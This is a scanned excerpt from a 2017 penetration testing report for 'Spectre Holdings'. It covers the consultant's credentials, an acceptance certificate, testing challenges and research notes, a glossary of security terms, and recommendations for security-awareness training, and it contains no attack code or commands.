Director and Enterprise Security Solutions Architect specializing in
network and systems security. ACR is a leading systems and Security
Consultant for many international companies and government
organizations.

e ACR spearheaded various security assessment, security control testing,
vulnerability assessment and penetration testing engagements
worldwide for banks, high-end hospitals, multinational corporations,
government organizations including military agencies and departments
in the Middle East, Asia and America.

e ACR holds multiple certifications: Certified Ethical Hacker (CEH), Cisco
Certified Network Associate (CCNA), Computer Hacking Forensic
Investigator (CHFI), Microsoft Certified Technology Specialist (MCTS),
Microsoft Certified Information Technology Professional (MCITP) for
Server Administrator (MCITP[SA) & Enterprise Administrator (MCITP[EA)
& Database Administrator (MCITPfDBA), EC-Council Certified Security
Analyst (ECSA), Licensed Penetration Tester (LPT), Information
Technology Infrastructure Library (ITIL), Cisco Certified Network
Professional (CCNP), Cisco Certified Network Associate Security (CCNA
Security), Cisco Intrusion Prevention System Specialist (CIPSS), Cisco
Internetwork Operating System Security Specialist (CIOSSS), Cisco
Firewall Security Specialist (CFWSS), Cisco Adaptive Security Appliances
Specialist (CASAS), Cisco Virtual Private Network Security Specialist
(CVPNSS), Cisco Certified Network Professional Security (CCNP Security),
Tripwire Certified Partner Sales Professional (TWCPSP) QualysGuard
Certified Specialist (QGCS), FireEye Certified Systems Engineer (FSE),
Master in Security Analytics etc.

e ACR has also developed various security systems, computer compliance
auditor/surveillance system, web-based applications, and accounting
software.

e ACR is a prolific writer, having authored policies and procedures for the
companies that he has worked with which continue to be implemented
until now. He continues to create policies and procedures that help
efficient management and operations in the company he is presently
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with.

e ACR's consulting and training undertakings cover specializing in Cyber
Crime Investigations & Forensics, ISO 27001 & 27002, BS 25999 (BCP),
PCI Compliance, Information Security (ISMS), Data Protection & Loss
Prevention, Vulnerability Assessment, Systems/Network Penetration
Testing, Risk/Threat Analysis (BIA), Compliance Testing, Security
Information Event Management (SIEM), Security Expert Advisor and
secure infrastructure design. His expertise include FIM, GRC, DMZ
firewalls, Secure VPNs, EAP/TLS, PEAP, SSL, PKI, Smart Cards, Biometrics,
IPSEC, IDS & IPS, Vulnerability Scanners, AV, Honeypots, Audits, filtering
policies, multi-layer encrypted file systems, patch management and
deployments. Moreover, ACR develops customized and blended security
strategies.

e ACR’s wide range of all product experience has helped develop his
overall systems security knowledge. ACR has a passion for tracing
malicious hackers in pursuit of which he has had to grapple with issues,
which are inextricably entwined in meeting the everyday challenges of
information systems security.

e ACR is a BS Computer Science degree holder. His diploma was not
enough to quench his thirst for knowledge, particularly on various
technologies, so he took trainings, seminars and workshops on
Unix/Linux, Microsoft, Cisco and Information Security. ACR is a firm
believer of, “Human knowledge belongs to the world.
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Appendix H: Final Acceptance Certificate (FAC)

ACCEPTANCE CERTIFICATE

This certifies that ARNEL C. REYES, has completed the Vulnerability
Assessment and Penetration Testing with Service PO # LPTJUN082017 for
SPECTRE HOLDINGS, LTD.

Issued on this 06" day of July, 2017

Arnel C. Reyes Jeff Spectre
Penetration Tester Chief Executive Officer
IT Security Consultant Spectre Holdings, Ltd.
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6.1. Required Work Efforts

The Security Consultant performed blackbox penetration testing of which very limited information is
available about the target systems. The complexity of this approach leads to the development of certain
challenges related to penetration testing. Therefore, various issues and challenges related to the
security testing faced by the Security Consultant are as follows:

1.

Port scanning tool was not able to identify open ports service names correctly and results were not
reliable.

> Various port scanning tools with its different options were used, sorted out results, compared the
data and filtered details to get the right information.

Network vulnerability analyzer was not able to discover malware and Microsoft Windows
vulnerabilities.

> A vulnerability analyzer is good tool to assist the Security Consultant in detecting a lead to
potential weakness but limitations could not provide information about the existence of potential
vulnerability to the target systems. Extensive researched for vulnerability for each identified
operating system and manual trial/error effort have done to compromise the target system for
possible exploitable vulnerability.

Web applications vulnerability scanner was not able to detect input validation defects.

> Vulnerability scanners provide great help on uncovering application vulnerabilities. However,
these tools only depend on vulnerability database such as SQL Injection, Cross Site Scripting (XSS),
Cross Frame Scripting (XFS), and Cross Site Request Forgery (CSRF) among others. Due to this
limitation, the Security Consultant manually checked section by section each and every components
functionality for possible defect such as lack of input validation for “image file upload” and data
sanitation to detect malicious code, i.e. Web Shell script. In addition, intensive researched work on
the Internet for vulnerabilities of particular third web application such as ProjectSend, WordPress,
phpMyAdmin and Joomla. After gathering sufficient information about candidate vulnerability for a
specific web application, the Security Consultant tried all possibilities to compromise the target
system.

Vulnerability assessment tools discovered vulnerabilities with many false positives.

> It’s expected that assessment tools could provide false positive assessment of which the Security
Consultant required to manually validate these discovered potential vulnerabilities if really
exploitable or not.

Test data for web applications were not provided for blackbox security testing engagement.

> All web applications of Spectre do not provide user registration option. Since this is a blackbox
engagement, test data was not available and not provided by client as agreed. The Security
Consultant thought out of the box to gain access to the web applications in order to test thoroughly
all the web applications’” components functionality. By performing a time consuming bruteforce
attack, the Security Consultant gained an access to the administration portal and furthered the
security testing to unearth application weaknesses.

Attack payload was controlled to prevent bringing down the system service down.

> As stated in the scope of work, Denial of Service or anything that will bring the system down is not
part of the penetration testing activity. With due diligence and professional care, the Security
Consultant carefully selected attack payload to be used against the target system in order not to
bring down a service and to prevent disruption of normal operation during the security assessment.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.

141

<
o
=
&,
o
=]
o
N
o
(o)}
—
=
<
N
o
[
~N




PENETRATION TESTING REPORT

6.2. Research

Due to the increasing complexity of information technology, network infrastructure and web systems
security testing have become indispensable and critical activity of software/application development life
cycle. Penetration testing aims to maintain the confidentiality of the data, to check against any
information leakage and to maintain the functionality as intended. It checks whether the security
requirements are fulfilled by the applications when they are subjected to malicious input data. Due to
the rising explosion in the security vulnerabilities, there occurs a need to understand its unique
challenges and issues, which will eventually serve as a useful input for the security testing tools.

The success of this security assessment relied on the skills and applied security experiences of the
Security Consultant. However, extensive research work and intensive investigation made to fully
understand the network infrastructure and the target systems. These efforts are as follows:

1. Gathered as much information as possible about the targeted network, systems and its running
application using tools such as port scanning, fingerprinting, and vulnerability scanner/analyzer.
Dedicated research work made about the identified ports, services and web applications for
possible vulnerabilities. Manual investigation performed to validate the correctness of all
acquired information for a particular port, service and web application.

2. Most of the web applications installed on each subdomain are provided by different 3™ party
developers. Steadfast research about the potential vulnerability of each application was crucial
and highly important step to get leads where to start the attack.

3. Each application’s candidate vulnerabilities gathered from different sources on the Internet,
exploitation of these vulnerabilities was the next challenge at play. The search for exploits was
the big game, which was the key to successfully compromised most of the target systems.

4. Great number of various exploits were found for specific vulnerability for a particular application
but with due care testing of the attack payload and the search for optimal usage prior to
officially utilize them was utmost consideration in order not cause issues on the target system
and to prevent disruption of service.
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6.4. Glossary
A

access A subject’s ability to view, modify, or communicate with an object. Access enables the flow of
information between the subject and the object.

access control Mechanisms, controls, and methods of limiting access to resources to authorized subjects
only.

access control list (ACL) A list of subjects that are authorized to access a particular object. Typically, the
types of access are read, write, execute, append, modify, delete, and create.

access control mechanism Administrative, physical, or technical control that is designed to detect and
prevent unauthorized access to a resource or environment.

accountability A security principle indicating that individuals must be identifiable and must be held
responsible for their actions.

add-on security Security protection mechanisms that are hardware or software retrofitted to a system
to increase that system’s protection level.

assurance A measurement of confidence in the level of protection that a specific security control
delivers and the degree to which it enforces the security policy.

attack An attempt to bypass security controls in a system with the mission of using that system or
compromising it. An attack is usually accomplished by exploiting a current vulnerability.

authenticate To verify the identity of a subject requesting the use of a system and/or access to network
resources. The steps to giving a subject access to an object should be identification, authentication, and
authorization.
authorization Granting access to an object after the subject has been properly identified and
authenticated.

backdoor An undocumented way of gaining access to a computer system. After a system is
compromised, an attacker may load a program that listens on a port (backdoor) so that the attacker can
enter the system at any time. A backdoor is also referred to as a trapdoor.

blackbox testing The testers are given very little or no information prior to the penetration test. It is also
referred to as "blind testing" because the tester has to find an open route to access the network.
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browsing Searching through storage media looking for specific information without necessarily knowing
what format the information is in. A browsing attack is one in which the attacker looks around a
computer system either to see what looks interesting

or to find specific information.

brute force attack An attack that continually tries different inputs to achieve a predefined goal, which
can be used to obtain credentials for unauthorized access.

C
ciphertext Data that has been encrypted and is unreadable until it has been converted into plaintext.

cleartext In data communications, cleartext is the form of a message or data which is transferred or
stored without cryptographic protection.

command line interface (CLI) A text-based interface that is used to operate software and operating
systems while allowing the user to respond to visual prompts by typing single commands into the
interface and receiving a reply in the same way.

communications security Controls in place to protect information as it is being transmitted, especially
by telecommunications mechanisms.

compromise A violation of the security policy of a system or an organization such that unauthorized
disclosure or modification of sensitive information occurs.

confidentiality A security principle that works to ensure that information is not disclosed to
unauthorized subjects.

configuration management The identification, control, accounting, and documentation of all changes
that take place to system hardware, software, firmware, supporting documentation, and test results
throughout the lifespan of the system.

content management system (CMS) A software application or set of related programs that are used to
create and manage digital content.

countermeasure A control, method, technique, or procedure that is put into place to prevent a threat
agent from exploiting a vulnerability. A countermeasure is put into place to mitigate risk. Also called a
safeguard or control.

covert channel A communications path that enables a process to transmit information in a way that
violates the system’s security policy.

cryptanalysis The practice of breaking cryptosystems and algorithms used in encryption and decryption
processes.
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cryptography The science of secret writing that enables storage and transmission of data in a form that
is available only to the intended individuals.

cryptology The study of cryptography and cryptanalysis.
cryptosystem The hardware or software implementation of cryptography.
D

denial of service (DoS) Any action, or series of actions, that prevents a system, or its resources, from
functioning in accordance with its intended purpose.

dictionary attack A form of attack in which an attacker uses a large set of likely combinations to guess a
secret, usually a password.

due care Steps taken to show that a company has taken responsibility for the activities that occur within
the corporation and has taken the necessary steps to help protect the company, its resources, and
employees.

due diligence The process of systematically evaluating information to identify vulnerabilities, threats,
and issues relating to an organization’s overall risk.

encryption The transformation of plaintext into unreadable ciphertext.

exploit.co.il A vulnerable Web application designed as a learning platform to test various SQL injection
Techniques. This is a fully functional web site with a content management system based on fckeditor.

exposure An instance of being exposed to losses from a threat. A weakness or vulnerability can cause an
organization to be exposed to possible damages.

exposure factor The percentage of loss a realized threat could have on a certain asset.

Fail2Ban An intrusion prevention software framework that protects computer servers from brute-force
attacks. Written in the Python programming language, it is able to run on POSIX systems that have an
interface to a packet-control system or firewall installed locally, for example, iptables or TCP Wrapper.

false positive An error in some evaluation process in which a condition tested for is mistakenly found to
have been detected. A false positive, commonly called a "false alarm", is a result that indicates a given
condition has been fulfilled, when it has not.
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firewall A network security device that monitors incoming and outgoing network traffic and decides
whether to allow or block specific traffic based on a defined set of security rules.

FCKeditor (or CKEditor) An open source WYSIWYG text editor designed to bring common word
processor features directly to web pages, simplifying their content creation. Its core code is written in
JavaScript.

file transfer protocol (FTP) A standard network protocol used for the transfer of computer files between
a client and server on a computer network. FTP is built on a client-server model architecture and uses
separate control and data connections between the client and the server.

G

gateway A system or device that connects two unlike environments or systems. The gateway is usually
required to translate between different types of applications or protocols.

graphical user interface (GUI) A type of user interface that allows users to interact with electronic
devices through graphical icons and visual indicators such as secondary notation, instead of text-based
user interfaces, typed command labels or text navigation.

H

hash value A numeric value of a fixed length that uniquely identifies data. Hash values represent large
amounts of data as much smaller numeric values, so they are used with digital signatures.

hypertext transfer protocol (HTTP) An application protocol for distributed, collaborative, and
hypermedia information systems. HTTP is the foundation of data communication for the World Wide
Web. Hypertext is structured text that uses logical links (hyperlinks) between nodes containing text.

hypertext transfer protocol secure (HTTPS) The secure version of HTTP, the protocol over which data is
sent between your browser and the website that you are connected to. The 'S' at the end of HTTPS
stands for 'Secure'. It means all communications between your browser and the website are encrypted.

IceHrm A human resource management system for small and medium sized organizations. It covers all
the basic HRM needs of a company such as leave management, time management and handling
employee information.

identification A subject provides some type of data to an authentication service. Identification is the
first step in the authentication process.

information owner The person who has final corporate responsibility of data protection and would be
the one held liable for any negligence when it comes to protecting the company’s information assets.
The person who holds this role—usually a senior executive within the management group of the
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company—is responsible for assigning a classification to the information and dictating how the
information should be protected.

integrity A security principle that makes sure that information and systems are not modified maliciously
or accidentally.

Institute for Security and Open Methodologies (ISECOM) Released the OSSTMM, the Open Source
Security Testing Methodology Manual. Aims to improve how security was tested and implemented.

intrusion detection system (IDS) Software employed to monitor and detect possible attacks and
behaviors that vary from the normal and expected activity. The IDS can be network based, which
monitors network traffic, or host based, which monitors activities of a specific system and protects
system files and control mechanisms.

intrusion prevention system (IPS) A network security/threat prevention technology that examines
network traffic flows to detect and prevent vulnerability exploits.

iptables A user-space application program that allows a system administrator to configure the tables
provided by the Linux kernel firewall (implemented as different Netfilter modules) and the chains and
rules it stores.

isolation The containment of processes in a system in such a way that they are separated from one
another to ensure integrity and confidentiality.

Information System Security Assessment Framework (ISSAF) A structured framework that categorizes
information system security assessment into various domains and details specific evaluation or testing
criteria for each of these domains. It aims to provide field inputs on security assessment that reflect real
life scenarios.

John the Ripper A free password cracking software tool.

Joomla A free and open-source content management system (CMS) for publishing web content. It is
built on a model-view—controller web application framework that can be used independently of the
CMS.

K

keystroke monitoring A type of auditing that can review or record keystrokes entered by a user during
an active session.

M

malware Malicious software. Code written to perform activities that circumvent the security policy of a
system. Examples are viruses, malicious applets, Trojan horses, logical bombs, and worms.
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MD5 A algorithm widely used hash function producing a 128-bit hash value. MD5 was initially designed
to be used as a cryptographic hash function, it has been found to suffer from extensive vulnerabilities.

Metasploit A computer security project that provides information about security vulnerabilities and aids
in penetration testing and IDS signature development.

Metasploit Framework A tool for developing and executing exploit code against a remote target
machine.

MySQL An open-source relational database management system (RDBMS).
N

netapi A dynamic library (DLL) module that contains the Windows NET API used by applications to
access a Microsoft network. netapi.dll is a system process that is needed for your PC to work properly.

Nikto A Web server scanner that tests Web servers for dangerous files/CGls, outdated server software
and other problems. It performs generic and server type specific checks. It also captures and prints any
cookies received.

node A system that is connected to a network.

(o)

Open Information Systems Security Group (OISSG) An independent and non profit organization with
vision to spread information security awareness by hosting an environment where security enthusiasts
from all over the globe share and build knowledge.

Open Source Security Testing Methodology Manual (OSSTMM) It is a peer-reviewed manual of security
testing and analysis which result in verified facts. These facts provide actionable information that can

measurably improve your operational security.

Open Web Application Security Project (OWASP) An organization that provides unbiased and practical,
cost-effective information about computer and Internet applications.

P

password A sequence of characters used to prove one’s identity. It is used during a logon process and
should be highly protected.

Patator A multi-purpose brute-forcer, with a modular design and a flexible usage.

penetration A successful attempt at circumventing security controls and gaining access to a system.
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penetration testing Penetration testing is a method of evaluating the security of a computer system or
network by simulating an attack that a malicious hacker would carry out. This is done so that
vulnerabilities and weaknesses can be uncovered.

Penetration Testing Framework (PTF) A security testing and assessment methodology.

permissions The type of authorized interactions that a subject can have with an object. Examples
include read, write, execute, add, modify, and delete.

php (Hypertext Preprocessor) A widely-used open source general-purpose scripting language that is
especially suited for web development and can be embedded into HTML.

phpMyAdmin A free software tool written in PHP, intended to handle the administration of MySQL over
the Web.

plaintext In cryptography, the original readable text before it is encrypted.

port scanner An application designed to probe a server or host for open ports. This is often used by
administrators to verify security policies of their networks and by attackers to identify network services
running on a host and exploit vulnerabilities.

port scanning A technique used to identify open ports and services available on a network host.

portable operating system interface (POSIX) A family of standards specified by the IEEE Computer
Society for maintaining compatibility between operating systems.

procedure Detailed step-by-step instructions to achieve a certain task, which are used by users, IT staff,
operations staff, security members, and others.

ProjectSend A self-hosted application (can be installed it easily on VPS or shared web hosting account)
that lets user upload files and assign them to specific clients.

protocol A set of rules and formats that enables the standardized exchange of information between
different systems.

R

remote administration tool (RAT) A piece of software or programming that allows a remote "operator"
to control a system as if they have physical access to that system. While desktop sharing and remote
administration have many legal uses, "RAT" software is usually associated with criminal or malicious
activity.

relational database management system (RDBMS) A program that lets you create, update, and
administer a relational database.
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risk The likelihood of a threat agent taking advantage of a vulnerability and the resulting business
impact. A risk is the loss potential, or probability, that a threat will exploit a vulnerability.

risk analysis A method of identifying risks and assessing the possible damage that could be caused in
order to justify security safeguards.

risk factor A variable associated with an increased risk of disease or infection. Sometimes, determinant
is also used, being a variable associated with either increased or decreased risk.

risk management The process of identifying, assessing, and reducing the risk to an acceptable level and
implementing the right mechanisms to maintain that level of risk.

rules of engagement (RoE) Are rules or directives to security testing that define the circumstances,
conditions, degree, and manner in which the use of attack, or actions which might be construed as
provocative, may be applied. RoE deals with the manner in which the penetration test is to be
conducted. Some of the directives that should be clearly mentioned in the rules of engagement before
the kick start of the penetration test.

S

secure shell (SSH) A cryptographic network protocol for operating network services securely over an
unsecured network. Secure Shell (SSH) is a UNIX-based command interface and protocol for securely
getting access to a remote computer.

secure file transfer protocol (SFTP) A terminal program that encrypts the files that you send and receive
to a remote system. SFTP is similar to FTP with the exception that all traffic, including passwords,
commands and data, are encrypted to prevent eavesdropping during transmission. SFTP servers
leverage SSH also known as Secure Socket Shell or Secure Shell, a network protocol and set of utilities
that provide secure access to a remote computer. An SSH client is need to communicate with an SFTP
server.

security policy Documentation that describes senior management’s directives toward the role that
security plays within the organization. It provides a framework within which an organization establishes
needed levels of information security to achieve the desired confidentiality, availability, and integrity
goals. A policy is a statement of information values, protection responsibilities, and organization
commitment managing risks.

security testing Testing all security mechanisms and features within a system to determine the level of
protection they provide. Security testing can include penetration testing, formal design and
implementation verification, and functional testing.

sensitive information Information that would cause a negative effect on the company if it were lost or
compromised.
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SHA-1 (Secure Hash Algorithm 1) A cryptographic hash function designed by the United States National
Security Agency and is a U.S. Federal Information Processing Standard published by the United States
NIST. SHA-1 produces a 160-bit (20-byte) hash value known as a message digest.

shell A user interface for access to an operating system's services. In general, operating system shells
use either a command-line interface (CLI) or graphical user interface (GUI), depending on a computer's
role and particular operation.

social engineering The act of tricking another person into providing confidential information by posing
as an individual who is authorized to receive that information.

sglmap An open source penetration testing tool that automates the process of detecting and exploiting
SQL injection flaws and taking over of database servers. ... Support to enumerate users, password
hashes, privileges, roles, databases, tables and columns.

steganography A practice of concealing a file, message, image, or video within another file, message,
image, or video. The word steganography combines the Greek words steganos (oteyavog), meaning
"covered, concealed, or protected", and graphein (ypadelv) meaning "writing".

structured query language (SQL) Used to communicate with a database. It is the standard language for
relational database management systems.

standards Rules indicating how hardware and software should be implemented, used, and maintained.
Standards provide a means to ensure that specific technologies, applications, parameters, and
procedures are carried out in a uniform way across the

organization. They are compulsory.

subject An active entity, generally in the form of a person, process, or device, that causes information to
flow among objects or that changes the system state.

T

tactical goals Midterm goals to accomplish. These may be milestones to accomplish within a project or
specific projects to accomplish in a year. Strategic, tactical, and operational goals make up a planning
horizon.

TCP Wrapper A host-based networking ACL system, used to filter network access to Internet Protocol
servers on (Unix-like) operating systems such as Linux or BSD. It allows host or subnetwork IP addresses,
names and/or ident query replies, to be used as tokens on which to filter for access control purposes.
threat Any potential danger that a vulnerability will be exploited by a threat agent.

topology The physical construction of how nodes are connected to form a network.

total risk When a safeguard is not implemented, an organization is faced with the total risk of that
particular vulnerability.
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Trojan horse A computer program that has an apparently or actually useful function, but that also
contains additional hidden malicious capabilities to exploit a vulnerability and/or provide unauthorized
access into a system.

U

user A person or process that is accessing a computer system.

user ID A unique set of characters or code that is used to identify a specific user to a system.
Vv

validation The act of performing tests and evaluations to test a system’s security level to see if it
complies with security specifications and requirements.

virus A small application, or string of code, that infects applications. The main function of a virus is to
reproduce, and it requires a host application to do this. It can damage data directly or degrade system
performance.

vulnerability The absence or weakness of a safeguard that could be exploited.
W

web-based file manager A file management tool that has the ability to create, rename and delete
folders; create, upload, rename, download and delete files; edit text files; view image files; sort by
name, size, mode and date modified; and more using a web browser.

web shell A script that can be uploaded to a web server to enable remote administration of the
machine. Infected web servers can be either Internet-facing or internal to the network, where the web
shell is used to pivot further to internal hosts.

Wireshark A free and open source packet analyzer. It is used for network troubleshooting, analysis,
software and communications protocol development, and education. Originally named Ethereal, the
project was renamed Wireshark in May 2006 due to trademark issues.

WordPress A free and open-source content management system (CMS) based on PHP and MySQL.

WPScan A black box WordPress vulnerability scanner.
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7.0. Conclusions

The Security Consultant encourages Spectre to priorities, High and Medium vulnerabilities immediately.
The tactical recommendations are short term fixes to help elevate the immediate security concerns.
Spectre technical team can learn from the mistakes of other organizations. Spectre executives should
start thinking about how to manage the risk of IT Infrastructure in the enterprise.

In the long term, the Security Consultant encourages Spectre to create a strategic security program that
is compatible with Spectre’s culture and technology. These programs come in all shapes and sizes, and
Spectre should avoid attempting to do everything prescribed by some process model. Instead, leverage
Spectre’s existing strengths to do and measure what works.

One of the greatest threats to information security could actually come from within Spectre. Inside
‘attacks’ have been noted to be some of the most dangerous since these people are already quite
familiar with the organization. It is not always disgruntled workers and corporate spies who are a
threat. Often, it is the non-malicious, uninformed employee.

The focus will be on uninformed users who can do harm to Spectre. People are susceptible and
vulnerable social engineering attack. Social engineering, in the context of information security, refers to
psychological manipulation of people into performing actions or divulging confidential information. It is
a type of confidence trick for the purpose of information gathering, fraud, or system access.

One of the best ways to make sure Spectre employees will not make costly errors in regard to
information security is to institute company-wide security-awareness training initiatives that include,
but are not limited to classroom style training sessions, security awareness website(s), helpful hints via
email, or even posters. These methods can help ensure employees have a solid understanding of
company security policy, procedure and best practices.

Some of the more important items to cover in Spectre security awareness training are organization’s
security policy, data classification and handling, workspace and desktop security, wireless networks, web
application security, password security, phishing, hoaxes, malware, file sharing and copyright.

“Security awareness is a security first line of defense.”

Implementation of any of the Security Consultant’s recommendations is strictly voluntary on the part of
Spectre and is at the discretion of the organization’s management. The implementation of any
recommendations contained herein does not guarantee the elimination of all risks.

The Risk Factor Rating is based on international standard scoring. The business impact of an identified
vulnerability shall be determined by the asset owner and management.

All solutions documented above are derived from collected evidence by using tools and skills of the
Security Consultant.

Note: The recommendations above are not limited to Spectre employees, clients and third party users
who utilizes Spectre IT Infrastructure shall also be informed.
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